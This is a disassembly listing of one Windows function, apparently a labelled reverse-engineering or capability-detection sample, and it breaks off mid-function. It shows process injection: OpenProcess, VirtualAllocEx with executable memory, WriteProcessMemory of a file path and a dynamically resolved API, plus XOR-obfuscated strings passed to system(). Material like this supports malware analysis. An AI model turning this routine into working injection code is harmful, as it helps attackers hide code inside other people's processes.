Function at 0x4029a0
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4115cf
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x41a008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push 0
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test edi, edi
jne 0x402d9c
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x12c], 0x7994ebdc
mov edi, dword [eax]
mov dword [ebp - 0x124], edi
mov eax, dword [edi + 0x530]
test al, 1
jne 0x402a8f
or eax, 1
mov dword [edi + 0x530], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x71c], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x12c]
mov byte [ecx + edi + 0x718], al
add ecx, 1
adc edx, 0
jne 0x402a7b
cmp ecx, 4
jb 0x402a60
push 0x413830
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x71c], 0
lea ebx, [edi + 0x718]
je 0x402ae6
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x79e787bf
and ecx, 7
mov edx, 0xb5e3ff6f
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x402adc
cmp esi, 4
jb 0x402ab5
mov edi, dword [ebp - 0x124]
mov byte [ebx + 4], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [edi + 0xa4]
add esp, 4
mov dword [ebp - 0x120], 0xe0d3f848
mov dword [ebp - 0x11c], 0x33d04bc9
test al, 1
jne 0x402b6f
or eax, 1
mov dword [edi + 0xa4], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x130]
mov byte [edi + 0x570], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x120]
mov byte [ecx + edi + 0x568], al
add ecx, 1
adc edx, 0
jne 0x402b5b
cmp ecx, 8
jb 0x402b40
push 0x4137f0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x570], 0
lea ebx, [edi + 0x568]
je 0x402bc6
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x8fbf972b
and ecx, 7
mov edx, 0x33936bbb
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x402bbc
cmp esi, 8
jb 0x402b95
mov edi, dword [ebp - 0x124]
mov byte [ebx + 8], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x4156f0]
add esp, 4
mov eax, dword [edi + 0x574]
mov byte [ebp - 0x134], 0xcd
movups xmmword [ebp - 0x144], xmm0
test al, 1
jne 0x402c4f
or eax, 1
mov dword [edi + 0x574], eax
mov dword [ebp - 4], 2
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x475], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x144]
mov byte [ecx + edi + 0x464], al
add ecx, 1
adc edx, 0
jne 0x402c3b
cmp ecx, 0x11
jb 0x402c20
push 0x4137b0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x475], 0
lea ebx, [edi + 0x464]
je 0x402ca6
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x7c34bcd
and ecx, 7
mov edx, 0x1bb371b9
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x402c9c
cmp esi, 0x11
jb 0x402c75
mov edi, dword [ebp - 0x124]
mov byte [ebx + 0x11], 0
push 0x40e560
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call fcn.0040e110
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x818]
mov dword [ebp - 0x120], 0xdcce8275
mov word [ebp - 0x11c], 0xe7ea
test al, 1
jne 0x402d38
or eax, 1
mov dword [edi + 0x818], eax
mov dword [ebp - 4], 3
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x6c2], 1
nop
mov al, byte [ebp + ecx - 0x120]
mov byte [ecx + edi + 0x6bc], al
add ecx, 1
adc edx, 0
jne 0x402d2b
cmp ecx, 6
jb 0x402d10
push 0x413770
call fcn.00410439
add esp, 4
cmp byte [edi + 0x6c2], 0
lea edi, [edi + 0x6bc]
je 0x402d8b
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov ebx, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
nop
mov ecx, esi
mov eax, 0xafbbe305
and ecx, 7
mov edx, 0xedc1e78f
shl ecx, 3
call fcn.00410f40
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x402d87
cmp esi, 6
jb 0x402d60
mov byte [edi + 6], 0
push edi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor al, al
jmp 0x40417e
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x11c], ebx
mov edi, dword [eax]
test ebx, ebx
jne 0x403142
mov eax, dword [edi + 0x4b8]
mov dword [ebp - 0x12c], 0xdf2a17ee
mov dword [ebp - 0x124], edi
test al, 1
jne 0x402e3f
or eax, 1
mov dword [edi + 0x4b8], eax
mov dword [ebp - 4], 4
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x35c], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x12c]
mov byte [ecx + edi + 0x358], al
add ecx, 1
adc edx, 0
jne 0x402e2b
cmp ecx, 4
jb 0x402e10
push 0x413730
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x35c], 0
lea ebx, [edi + 0x358]
je 0x402e96
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xdf597b8d
and ecx, 7
mov edx, 0xbb55ff59
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x402e8c
cmp esi, 4
jb 0x402e65
mov edi, dword [ebp - 0x124]
mov byte [ebx + 4], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [edi + 0x618]
add esp, 4
mov dword [ebp - 0x120], 0x760d98e0
mov dword [ebp - 0x11c], 0xe1b631a7
test al, 1
jne 0x402f1f
or eax, 1
mov dword [edi + 0x618], eax
mov dword [ebp - 4], 5
xorps xmm0, xmm0
movlpd qword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x130]
mov byte [edi + 0x82c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x120]
mov byte [ecx + edi + 0x824], al
add ecx, 1
adc edx, 0
jne 0x402f0b
cmp ecx, 8
jb 0x402ef0
push 0x4136f0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x82c], 0
lea ebx, [edi + 0x824]
je 0x402f76
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x1961f783
and ecx, 7
mov edx, 0xe1f511d5
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x402f6c
cmp esi, 8
jb 0x402f45
mov edi, dword [ebp - 0x124]
mov byte [ebx + 8], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x415630]
add esp, 4
mov eax, dword [edi + 0xe4]
mov word [ebp - 0x134], 0xe9e1
movups xmmword [ebp - 0x144], xmm0
test al, 1
jne 0x402fff
or eax, 1
mov dword [edi + 0xe4], eax
mov dword [ebp - 4], 6
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x75e], 1
nop
mov al, byte [ebp + ecx - 0x144]
mov byte [ecx + edi + 0x74c], al
add ecx, 1
adc edx, 0
jne 0x402feb
cmp ecx, 0x12
jb 0x402fd0
push 0x4136b0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x75e], 0
lea ebx, [edi + 0x74c]
je 0x403056
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x8b41e993
and ecx, 7
mov edx, 0x4727c973
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x40304c
cmp esi, 0x12
jb 0x403025
mov edi, dword [ebp - 0x124]
mov byte [ebx + 0x12], 0
push 0x40e560
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call fcn.0040e110
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x784]
mov dword [ebp - 0x120], 0xc230c469
mov word [ebp - 0x11c], 0x9d02
test al, 1
jne 0x4030e8
or eax, 1
mov dword [edi + 0x784], eax
mov dword [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x316], 1
nop
mov al, byte [ebp + ecx - 0x120]
mov byte [ecx + edi + 0x310], al
add ecx, 1
adc edx, 0
jne 0x4030db
cmp ecx, 6
jb 0x4030c0
push 0x413670
call fcn.00410439
add esp, 4
cmp byte [edi + 0x316], 0
lea edi, [edi + 0x310]
je 0x402d8b
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov ebx, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xb145a519
and ecx, 7
mov edx, 0xef379d67
shl ecx, 3
call fcn.00410f40
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x402d87
cmp esi, 6
jb 0x403112
jmp 0x402d87
mov eax, dword [edi + 0x194]
mov dword [ebp - 0x140], 0x17547c0f
mov dword [ebp - 0x13c], 0x4f0108c7
mov dword [ebp - 0x138], 0x324c6122
mov byte [ebp - 0x134], 0x8b
mov dword [ebp - 0x12c], edi
test al, 1
jne 0x4031df
or eax, 1
mov dword [edi + 0x194], eax
mov dword [ebp - 4], 8
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x2f5], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x140]
mov byte [ecx + edi + 0x2e8], al
add ecx, 1
adc edx, 0
jne 0x4031cb
cmp ecx, 0xd
jb 0x4031b0
push 0x4135f0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [edi + 0x650]
mov dword [ebp - 0x140], 0x1d477628
mov dword [ebp - 0x13c], 0xf500dee
mov dword [ebp - 0x138], 0x1f59776d
mov byte [ebp - 0x134], 0x8b
test al, 1
jne 0x40326f
or eax, 1
mov dword [edi + 0x650], eax
mov dword [ebp - 4], 9
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0xb5], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x140]
mov byte [ecx + edi + 0xa8], al
add ecx, 1
adc edx, 0
jne 0x40325b
cmp ecx, 0xd
jb 0x403240
push 0x413630
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [edi + 0x2e8]
call fcn.0040b590
push eax
push ecx
lea ecx, [edi + 0xa8]
call fcn.0040b590
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x124], eax
test eax, eax
jne 0x403632
mov eax, dword [edi + 0x6dc]
mov dword [ebp - 0x124], 0x87522178
test al, 1
jne 0x40331f
or eax, 1
mov dword [edi + 0x6dc], eax
mov dword [ebp - 4], 0xa
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x528], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x124]
mov byte [ecx + edi + 0x524], al
add ecx, 1
adc edx, 0
jne 0x40330b
cmp ecx, 4
jb 0x4032f0
push 0x4135b0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x528], 0
lea ebx, [edi + 0x524]
je 0x403376
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x87214d1b
and ecx, 7
mov edx, 0x61a7ddf5
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x40336c
cmp esi, 4
jb 0x403345
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 4], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [edi + 0x560]
add esp, 4
mov dword [ebp - 0x120], 0x66ab7afa
mov dword [ebp - 0x11c], 0x51101f67
test al, 1
jne 0x4033ff
or eax, 1
mov dword [edi + 0x560], eax
mov dword [ebp - 4], 0xb
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x3e4], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x120]
mov byte [ecx + edi + 0x3dc], al
add ecx, 1
adc edx, 0
jne 0x4033eb
cmp ecx, 8
jb 0x4033d0
push 0x413570
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x3e4], 0
lea ebx, [edi + 0x3dc]
je 0x403456
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x9c71599
and ecx, 7
mov edx, 0x51533f15
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x40344c
cmp esi, 8
jb 0x403425
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 8], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x415740]
add esp, 4
mov eax, dword [edi + 0x820]
mov dword [ebp - 0x13c], 0xc53a5d31
mov dword [ebp - 0x138], 0x971ac348
mov byte [ebp - 0x134], 0x55
movups xmmword [ebp - 0x14c], xmm0
test al, 1
jne 0x4034f0
or eax, 1
mov dword [edi + 0x820], eax
mov dword [ebp - 4], 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x66d], 1
mov al, byte [ebp + ecx - 0x14c]
mov byte [ecx + edi + 0x654], al
add ecx, 1
adc edx, 0
jne 0x4034dc
cmp ecx, 0x19
jb 0x4034c1
push 0x413530
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x66d], 0
lea ebx, [edi + 0x654]
je 0x403547
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xe5433955
and ecx, 7
mov edx, 0xe575b10d
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x40353d
cmp esi, 0x19
jb 0x403516
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 0x19], 0
push 0x40e560
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call fcn.0040e110
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x158]
mov dword [ebp - 0x120], 0xf6ec6a21
mov word [ebp - 0x11c], 0xb7c
test al, 1
jne 0x4035d8
or eax, 1
mov dword [edi + 0x158], eax
mov dword [ebp - 4], 0xd
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x556], 1
mov al, byte [ebp + ecx - 0x120]
mov byte [edi + ecx + 0x550], al
add ecx, 1
adc edx, 0
jne 0x4035cb
cmp ecx, 6
jb 0x4035b0
push 0x4134f0
call fcn.00410439
add esp, 4
cmp byte [edi + 0x556], 0
lea edi, [edi + 0x550]
je 0x402d8b
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov ebx, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x85990b51
and ecx, 7
mov edx, 0xebf50b19
shl ecx, 3
call fcn.00410f40
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
jne 0x402d87
cmp esi, 6
jb 0x403602
jmp 0x402d87
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403640
push 0x40
push 0x3000
sub ecx, edx
push ecx
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x403a02
mov eax, dword [edi + 0x2a4]
mov dword [ebp - 0x124], 0xf8e3180
test al, 1
jne 0x4036df
or eax, 1
mov dword [edi + 0x2a4], eax
mov dword [ebp - 4], 0xe
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x678], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x124]
mov byte [edi + ecx + 0x674], al
add ecx, 1
adc edx, 0
jne 0x4036cb
cmp ecx, 4
jb 0x4036b0
push 0x4134b0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x678], 0
lea ebx, [edi + 0x674]
je 0x403736
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xffd5de3
and ecx, 7
mov edx, 0x53115973
shl ecx, 3
call fcn.00410f40
xor byte [ebx + esi], al
add esi, 1
adc edi, 0
jne 0x40372c
cmp esi, 4
jb 0x403705
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 4], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [edi + 0x740]
add esp, 4
mov dword [ebp - 0x120], 0xfc21ecdc
mov dword [ebp - 0x11c], 0xbf3247b5
test al, 1
jne 0x4037bf
or eax, 1
mov dword [edi + 0x740], eax
mov dword [ebp - 4], 0xf
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x414], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x120]
mov byte [edi + ecx + 0x40c], al
add ecx, 1
adc edx, 0
jne 0x4037ab
cmp ecx, 8
jb 0x403790
push 0x413470
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x414], 0
lea ebx, [edi + 0x40c]
je 0x403816
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x934d83bf
and ecx, 7
mov edx, 0xbf7167c7
shl ecx, 3
call fcn.00410f40
xor byte [ebx + esi], al
add esi, 1
adc edi, 0
jne 0x40380c
cmp esi, 8
jb 0x4037e5
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 8], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x4155f0]
add esp, 4
mov eax, dword [edi + 0x408]
mov dword [ebp - 0x13c], 0x6eaf52c9
mov dword [ebp - 0x138], 0xadb4cad
mov word [ebp - 0x134], 0x3bc9
movups xmmword [ebp - 0x14c], xmm0
test al, 1
jne 0x4038bf
or eax, 1
mov dword [edi + 0x408], eax
mov dword [ebp - 4], 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x5d2], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x14c]
mov byte [edi + ecx + 0x5b8], al
add ecx, 1
adc edx, 0
jne 0x4038ab
cmp ecx, 0x1a
jb 0x403890
push 0x413430
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x5d2], 0
lea ebx, [edi + 0x5b8]
je 0x403916
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x9c13bbb
and ecx, 7
mov edx, 0x65a9098d
shl ecx, 3
call fcn.00410f40
xor byte [ebx + esi], al
add esi, 1
adc edi, 0
jne 0x40390c
cmp esi, 0x1a
jb 0x4038e5
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 0x1a], 0
push 0x40e560
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call fcn.0040e110
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x7ec]
mov dword [ebp - 0x120], 0xa006fcc3
mov word [ebp - 0x11c], 0x81c6
test al, 1
jne 0x4039a8
or eax, 1
mov dword [edi + 0x7ec], eax
mov dword [ebp - 4], 0x11
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x36a], 1
nop
mov al, byte [ebp + ecx - 0x120]
mov byte [edi + ecx + 0x364], al
add ecx, 1
adc edx, 0
jne 0x40399b
cmp ecx, 6
jb 0x403980
push 0x4133f0
call fcn.00410439
add esp, 4
cmp byte [edi + 0x36a], 0
lea edi, [edi + 0x364]
je 0x402d8b
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov ebx, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xd3739db3
and ecx, 7
mov edx, 0x3fa781a3
shl ecx, 3
call fcn.00410f40
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
jne 0x402d87
cmp esi, 6
jb 0x4039d2
jmp 0x402d87
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403a10
push 0
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x403dc2
mov eax, dword [edi + 0x404]
mov dword [ebp - 0x124], 0x239a9518
test al, 1
jne 0x403aaf
or eax, 1
mov dword [edi + 0x404], eax
mov dword [ebp - 4], 0x12
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x458], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x124]
mov byte [edi + ecx + 0x454], al
add ecx, 1
adc edx, 0
jne 0x403a9b
cmp ecx, 4
jb 0x403a80
push 0x4133b0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x458], 0
lea ebx, [edi + 0x454]
je 0x403b06
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x23e9f97b
and ecx, 7
mov edx, 0x4971799d
shl ecx, 3
call fcn.00410f40
xor byte [ebx + esi], al
add esi, 1
adc edi, 0
jne 0x403afc
cmp esi, 4
jb 0x403ad5
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 4], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [edi + 0x504]
add esp, 4
mov dword [ebp - 0x120], 0xb0f92e5c
mov dword [ebp - 0x11c], 0xab9e73a7
test al, 1
jne 0x403b8f
or eax, 1
mov dword [edi + 0x504], eax
mov dword [ebp - 4], 0x13
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x688], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x120]
mov byte [edi + ecx + 0x680], al
add ecx, 1
adc edx, 0
jne 0x403b7b
cmp ecx, 8
jb 0x403b60
push 0x413370
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x688], 0
lea ebx, [edi + 0x680]
je 0x403be6
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xdf95413f
and ecx, 7
mov edx, 0xabdd53d5
shl ecx, 3
call fcn.00410f40
xor byte [ebx + esi], al
add esi, 1
adc edi, 0
jne 0x403bdc
cmp esi, 8
jb 0x403bb5
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 8], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x4156c0]
add esp, 4
mov eax, dword [edi + 0x7f0]
mov word [ebp - 0x138], 0xd148
mov byte [ebp - 0x136], 0xcd
movups xmmword [ebp - 0x148], xmm0
test al, 1
jne 0x403c7f
or eax, 1
mov dword [edi + 0x7f0], eax
mov dword [ebp - 4], 0x14
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x273], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x148]
mov byte [edi + ecx + 0x260], al
add ecx, 1
adc edx, 0
jne 0x403c6b
cmp ecx, 0x13
jb 0x403c50
push 0x413330
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x273], 0
lea ebx, [edi + 0x260]
je 0x403cd6
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x65cda327
and ecx, 7
mov edx, 0x2b6d3519
shl ecx, 3
call fcn.00410f40
xor byte [ebx + esi], al
add esi, 1
adc edi, 0
jne 0x403ccc
cmp esi, 0x13
jb 0x403ca5
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 0x13], 0
push 0x40e560
push ecx
